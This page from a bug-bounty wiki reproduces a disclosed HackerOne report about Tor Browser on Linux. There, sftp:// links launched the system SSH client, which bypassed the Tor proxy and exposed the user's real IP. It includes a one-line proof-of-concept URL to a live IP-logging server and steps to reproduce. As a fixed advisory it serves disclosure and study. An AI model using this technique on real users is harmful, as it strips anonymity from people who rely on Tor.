Skip to content
Info disclosure Disclosed report Intermediate

Linux TBB SFTP URI allows local IP disclosure

The Tor Browser on Linux allowed sftp:// URIs to launch the system's SSH client, which would connect directly to the specified host, bypassing the Tor proxy and revealing the user's real IP address. An attacker could use this to deanonymise users or access local resources.

rethink5807 Follow

Originally disclosed on HackerOne

Bounty$3,000 Critical View original
  • Fixed in 48 days
  • Paid in 2 months
  • Disclosed after 3 months

Browsing to a simple URL to an sftp URI allows bypasses socks proxy for DNS and browsing. Tested on a clean install of Ubuntu 16.04 with TBB 7.0.2 (4097d43aa0be86ae3fe43ec8f3ac5394) download from https://www.torproject.org/dist/torbrowser/7.0.2/tor-browser-linux64-7.0.2_en-US.tar.xz

POC: Navigate to sftp://104.131.180.179:80/index.php

After ~1 minute check http://104.131.180.179/ip,txt for your IP address

It appears that ubuntu's default SSH client is associated with this URI which causes the client to attempt the connection on behalf of the user. The windows TBB does not appear to be affected.

Excerpt from apache logs: apache2: [core:error] [pid 10671] [client x.x.x.x:40063] AH00126: Invalid URI in request SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1

Not surprisingly, the client can also be directed to local resources as well.

The original report as published on HackerOne, by rethink5807. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser delegated sftp:// URIs to the operating system's default SSH handler without enforcing the proxy settings, so the external SSH client made direct connections.

Impact

An attacker could learn the victim's real IP address, defeating Tor's anonymity, and could also direct the client to local resources.

What the attacker needed

Linux with Tor Browser; Victim clicks or visits an sftp:// link

How it was found

  1. Open Tor Browser on Linux.
  2. Navigate to an sftp:// URI pointing to an attacker-controlled server.
  3. Wait about a minute for the SSH client to connect.
  4. Check the server's IP logging page to see the victim's real IP address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Tor Browser is meant to hide your real IP address by sending all traffic through the Tor network. This bug let a special kind of link (starting with sftp://) open a separate program that connected directly to the internet, skipping Tor. That meant the website you connected to could see your real IP address instead of a Tor exit node's address.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Tor

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.